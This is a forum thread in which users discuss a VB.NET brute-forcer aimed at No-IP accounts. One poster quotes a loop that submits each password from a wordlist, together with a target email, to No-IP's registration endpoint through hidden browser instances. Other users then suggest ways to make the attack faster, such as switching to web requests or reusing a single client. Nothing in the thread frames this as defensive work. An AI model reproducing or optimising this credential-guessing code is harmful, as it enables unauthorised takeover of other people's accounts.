???????????????

+Haze - October 11, 2014, 4:25 pm

So I'm guessing this is a No-IP bruteforcer?

C&P the code to pastebin, would like to read it. Not going to download your src.

Aristocles - October 11, 2014, 5:24 pm

You lazy boy +Haze <http://pastebin.com/XpK0Ma2h>

+Haze - October 11, 2014, 5:31 pm

Thanks babe, and just read the code lol. So much improvement could be made.

Especially with this part.

PHP Code

```
<?php
```

```
For ia = 0 To FileLines.Length - 1
```

```
    Browsers(ia) = New WebBrowser
```

```
    Dim UrlNeed As String = "https://dynupdate.no-ip.com/client/register.php?email=" & TextBox1.
```

```
Text & "&pass=" & FileLines(ia)
```

```
    Browsers(ia).AllowNavigation = True
```

```
    Browsers(ia).Navigate(UrlNeed)
```

```
    Browsers(ia).Visible = False
```

```
    Me.Controls.Add(Browsers(ia))
```

```
Next
```

Creating multiple instances of webbrowser? My God :facepalm:

WZDY - October 12, 2014, 5:37 am

Why multiple instances of webbrowser instead of WebRequests?

I'm guessing you didn't do this.

+Haze - October 12, 2014, 5:41 am

I'm guessing you didn't do this.

Just copied what I said?

Why would you switch from having multiple webrowsers to webrequests? Makes no sense.

He should just create multiple request using the same client

taktaktak - October 12, 2014, 8:33 am

I would also recommend actually naming your buttons so people can actually understand what the button does eg. "startBtn, closeBtn" etc. These are habits you have to start doing or else its a pain in the ass for everyone else trying to understand your code.
